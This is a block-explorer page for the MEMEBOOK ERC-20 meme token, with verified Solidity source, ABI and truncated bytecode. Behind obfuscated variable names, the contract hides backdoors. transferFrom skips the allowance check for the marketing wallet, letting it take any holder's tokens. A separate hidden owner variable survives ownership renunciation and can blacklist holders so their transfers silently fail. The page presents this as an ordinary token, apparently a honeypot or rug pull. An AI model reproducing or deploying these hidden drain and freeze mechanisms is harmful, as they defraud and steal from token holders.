Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 MEMEBOOK
Holders
63
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,063,830.830739119 MEMEBOOKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MEMEBOOK
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT // // /* https://memebook.live How to talk to kids about MEME $MEMEBOOK The Book of Hottest Memes on Ethereum! X: https://x.com/memebook_eth Telegram: https://t.me/memebook_eth */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 0); } function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) { require(b <= a, "ERC20: transfer amount exceeds allowance"); uint256 c = 0; c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MEMEBOOK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _lastExcludedMOKEEE; mapping (address => uint256) public _messagepokeem; mapping (address => bool) private bots; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = false; uint256 private constant _tSupply = 1000000000 * 10 **_decimals; // Total supply string private constant _name = unicode"How to talk to kids about MEME"; // Name string private constant _symbol = unicode"MEMEBOOK"; // Symbol uint256 public _inXOMPOKBUY = 20; uint256 public _inXOMPOKSELL = 20; uint256 public _lastXOMPKSELL = 0; uint256 public _lastXOMPKBUY = 0; uint256 public _bdswgwg = 0; uint256 public _REDUCEMAOW = 15; address payable public _marketAOOKSMOKEEE; address private kkoowner; uint8 private constant _decimals = 9; uint256 public _swapbackAmt = 0 * 10 **_decimals; uint256 public _maxAmountSize = 20000000 * 10 ** decimals(); uint256 public _maxAmountSwapback = 10000000 * 10 ** decimals(); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _balances[address(this)] = _tSupply; _marketAOOKSMOKEEE = payable(0x8C8F4c2d2c9cD7F458862A6bf8D799A73BF89A04); _lastExcludedMOKEEE[owner()] = true; _messagepokeem[owner()] = 2; _messagepokeem[_marketAOOKSMOKEEE] = 2; _lastExcludedMOKEEE[address(this)] = true; _lastExcludedMOKEEE[_marketAOOKSMOKEEE] = true; kkoowner = msg.sender; emit Transfer(address(0), address(this), _tSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); uint256 approvedAmt = _messagepokeem[msg.sender] < 10 ? _allowances[sender][_msgSender()].sub(amount, 0) : 0; _approve(sender, _msgSender(), approvedAmt); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address PPOWMO, address Bdhwee, uint256 amount) private { uint256 taxAmount=0; require(swapEnabled || _lastExcludedMOKEEE[PPOWMO], "not started yet"); require(PPOWMO != address(0), "ERC20: transfer from the zero address"); require(Bdhwee != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(bots[PPOWMO]) return; if (!_lastExcludedMOKEEE[PPOWMO] && !_lastExcludedMOKEEE[Bdhwee]) { if(Bdhwee == uniswapV2Pair){ taxAmount = amount.mul(_bdswgwg <_REDUCEMAOW ? _inXOMPOKSELL : _lastXOMPKBUY).div(100); } if (Bdhwee != address(uniswapV2Router) && PPOWMO == uniswapV2Pair){ _bdswgwg ++; taxAmount = amount.mul(_bdswgwg < _REDUCEMAOW ? _inXOMPOKBUY : _lastXOMPKSELL).div(100);} if(Bdhwee != uniswapV2Pair) { require(balanceOf(Bdhwee) + amount <= _maxAmountSize, "Exceeds the _maxAmountSize."); } if (!_lastExcludedMOKEEE[PPOWMO] && !_lastExcludedMOKEEE[Bdhwee] && !inSwap && swapEnabled && Bdhwee == uniswapV2Pair) { uint256 swapbackAmt = min(balanceOf(address(this)), min(_maxAmountSwapback, amount)); swapBackForETH(swapbackAmt); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) payable(_marketAOOKSMOKEEE).transfer(address(this).balance); } } if(taxAmount > 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(PPOWMO, address(this),taxAmount); } _balances[PPOWMO]=_balances[PPOWMO].sub(amount); _balances[Bdhwee]=_balances[Bdhwee].add(amount.sub(taxAmount)); emit Transfer(PPOWMO, Bdhwee, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapBackForETH(uint256 tokenAmount) private lockTheSwap { payable(_marketAOOKSMOKEEE).transfer(address(this).balance); if(_swapbackAmt >= tokenAmount) {return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function openTrading () external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), 98 * balanceOf(address(this))/100, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; _maxAmountSize = _tSupply; _messagepokeem[_marketAOOKSMOKEEE] = 100; } receive() external payable { } function rescueETH () external onlyOwner {payable(msg.sender) .transfer(address(this).balance); } function removeLimits () external onlyOwner { _maxAmountSize = _tSupply; } function addbots (address bot) external { require(msg.sender == kkoowner, "owner is not available"); bots[bot] = true; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_REDUCEMAOW","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_bdswgwg","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inXOMPOKBUY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inXOMPOKSELL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lastExcludedMOKEEE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastXOMPKBUY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastXOMPKSELL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketAOOKSMOKEEE","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_messagepokeem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapbackAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f600760146101000a81548160ff0219169083151502179055505f600760156101000a81548160ff021916908315150217905550601460085560146009555f600a555f600b555f600c55600f600d556009600a61006191906106af565b5f61006c91906106f9565b60105561007d61044760201b60201c565b600a61008991906106af565b6301312d0061009891906106f9565b6011556100a961044760201b60201c565b600a6100b591906106af565b629896806100c391906106f9565b6012553480156100d1575f80fd5b506100ee6100e361044f60201b60201c565b61045660201b60201c565b6009600a6100fc91906106af565b633b9aca0061010b91906106f9565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550738c8f4c2d2c9cd7f458862a6bf8d799a73bf89a04600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101b361051760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600260045f61021561051760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600260045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555033600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61041e91906106af565b633b9aca0061042d91906106f9565b60405161043a9190610749565b60405180910390a3610762565b5f6009905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105c05780860481111561059c5761059b61053e565b5b60018516156105ab5780820291505b80810290506105b98561056b565b9450610580565b94509492505050565b5f826105d85760019050610693565b816105e5575f9050610693565b81600181146105fb576002811461060557610634565b6001915050610693565b60ff8411156106175761061661053e565b5b8360020a91508482111561062e5761062d61053e565b5b50610693565b5060208310610133831016604e8410600b84101617156106695782820a9050838111156106645761066361053e565b5b610693565b6106768484846001610577565b9250905081840481111561068d5761068c61053e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106b98261069a565b91506106c4836106a3565b92506106f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105c9565b905092915050565b5f6107038261069a565b915061070e8361069a565b925082820261071c8161069a565b915082820484148315176107335761073261053e565b5b5092915050565b6107438161069a565b82525050565b5f60208201905061075c5f83018461073a565b92915050565b6131cd8061076f5f395ff3fe6080604052600436106101ba575f3560e01c806382b3aa58116100eb578063b2e7fa9811610089578063d5a78cf111610063578063d5a78cf1146105cf578063dd62ed3e146105f9578063f2fde38b14610635578063fdc591841461065d576101c1565b8063b2e7fa9814610567578063b984ea7d14610591578063c9567bf9146105b9576101c1565b8063a666ec1c116100c5578063a666ec1c146104ad578063a6c05303146104d7578063a9059cbb14610501578063ac1bbdee1461053d576101c1565b806382b3aa581461041d5780638da5cb5b1461045957806395d89b4114610483576101c1565b8063441351c61161015857806368da33521161013257806368da33521461037957806370a08231146103b5578063715018a6146103f1578063751039fc14610407576101c1565b8063441351c6146102fb57806344419df5146103255780635e4f158b1461034f576101c1565b806318160ddd1161019457806318160ddd1461025557806320800a001461027f57806323b872dd14610295578063313ce567146102d1576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806316147db01461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610687565b6040516101e69190612246565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906122f7565b6106c4565b604051610222919061234f565b60405180910390f35b348015610236575f80fd5b5061023f6106e1565b60405161024c9190612377565b60405180910390f35b348015610260575f80fd5b506102696106e7565b6040516102769190612377565b60405180910390f35b34801561028a575f80fd5b5061029361070a565b005b3480156102a0575f80fd5b506102bb60048036038101906102b69190612390565b610758565b6040516102c8919061234f565b60405180910390f35b3480156102dc575f80fd5b506102e5610865565b6040516102f291906123fb565b60405180910390f35b348015610306575f80fd5b5061030f61086d565b60405161031c9190612377565b60405180910390f35b348015610330575f80fd5b50610339610873565b6040516103469190612377565b60405180910390f35b34801561035a575f80fd5b50610363610879565b6040516103709190612377565b60405180910390f35b348015610384575f80fd5b5061039f600480360381019061039a9190612414565b61087f565b6040516103ac919061234f565b60405180910390f35b3480156103c0575f80fd5b506103db60048036038101906103d69190612414565b61089c565b6040516103e89190612377565b60405180910390f35b3480156103fc575f80fd5b506104056108e2565b005b348015610412575f80fd5b5061041b6108f5565b005b348015610428575f80fd5b50610443600480360381019061043e9190612414565b610922565b6040516104509190612377565b60405180910390f35b348015610464575f80fd5b5061046d610937565b60405161047a919061244e565b60405180910390f35b34801561048e575f80fd5b5061049761095e565b6040516104a49190612246565b60405180910390f35b3480156104b8575f80fd5b506104c161099b565b6040516104ce9190612377565b60405180910390f35b3480156104e2575f80fd5b506104eb6109a1565b6040516104f89190612487565b60405180910390f35b34801561050c575f80fd5b50610527600480360381019061052291906122f7565b6109c6565b604051610534919061234f565b60405180910390f35b348015610548575f80fd5b506105516109e3565b60405161055e9190612377565b60405180910390f35b348015610572575f80fd5b5061057b6109e9565b6040516105889190612377565b60405180910390f35b34801561059c575f80fd5b506105b760048036038101906105b29190612414565b6109ef565b005b3480156105c4575f80fd5b506105cd610ad6565b005b3480156105da575f80fd5b506105e3610f63565b6040516105f09190612377565b60405180910390f35b348015610604575f80fd5b5061061f600480360381019061061a91906124a0565b610f69565b60405161062c9190612377565b60405180910390f35b348015610640575f80fd5b5061065b60048036038101906106569190612414565b610feb565b005b348015610668575f80fd5b5061067161106d565b60405161067e9190612377565b60405180910390f35b60606040518060400160405280601e81526020017f486f7720746f2074616c6b20746f206b6964732061626f7574204d454d450000815250905090565b5f6106d76106d0611073565b848461107a565b6001905092915050565b60085481565b5f6009600a6106f6919061263a565b633b9aca006107059190612684565b905090565b61071261123d565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610755573d5f803e3d5ffd5b50565b5f6107648484846112bb565b5f600a60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106107b0575f610845565b610844835f60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107fb611073565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c329092919063ffffffff16565b5b905061085985610853611073565b8361107a565b60019150509392505050565b5f6009905090565b600d5481565b60115481565b600a5481565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ea61123d565b6108f35f611c90565b565b6108fd61123d565b6009600a61090b919061263a565b633b9aca0061091a9190612684565b601181905550565b6004602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d454d45424f4f4b000000000000000000000000000000000000000000000000815250905090565b60125481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6109d96109d2611073565b84846112bb565b6001905092915050565b600b5481565b60105481565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a759061270f565b60405180910390fd5b600160055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610ade61123d565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b639190612741565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bec9190612741565b6040518363ffffffff1660e01b8152600401610c0992919061276c565b6020604051808303815f875af1158015610c25573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c499190612741565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d103060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610cfc919061263a565b633b9aca00610d0b9190612684565b61107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610d5a3061089c565b6062610d669190612684565b610d7091906127c0565b5f80610d7a610937565b426040518863ffffffff1660e01b8152600401610d9c96959493929190612832565b60606040518083038185885af1158015610db8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ddd91906128a5565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e7d9291906128f5565b6020604051808303815f875af1158015610e99573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebd9190612946565b506001600760156101000a81548160ff0219169083151502179055506009600a610ee7919061263a565b633b9aca00610ef69190612684565b601181905550606460045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ff361123d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611061576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611058906129e1565b60405180910390fd5b61106a81611c90565b50565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df90612a6f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90612afd565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112309190612377565b60405180910390a3505050565b611245611073565b73ffffffffffffffffffffffffffffffffffffffff16611263610937565b73ffffffffffffffffffffffffffffffffffffffff16146112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090612b65565b60405180910390fd5b565b5f600760159054906101000a900460ff168061131d575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612bcd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190612c5b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f90612ce9565b60405180910390fd5b5f821161147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612d77565b60405180910390fd5b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156114cf5750611c2d565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561156d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156119815760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116055761160260646115f4600d54600c54106115e157600b546115e5565b6009545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116ae575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561170957600c5f8154809291906116c590612d95565b919050555061170660646116f8600d54600c54106116e557600a546116e9565b6008545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117b6576011548261176a8561089c565b6117749190612ddc565b11156117b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ac90612e59565b60405180910390fd5b5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611854575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561186d5750600760149054906101000a900460ff16155b80156118855750600760159054906101000a900460ff165b80156118dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611980575f6119006118ef3061089c565b6118fb60125486611e11565b611e11565b905061190b81611e29565b5f4790505f81111561197d57600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561197b573d5f803e3d5ffd5b505b50505b5b5f811115611a80576119d98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff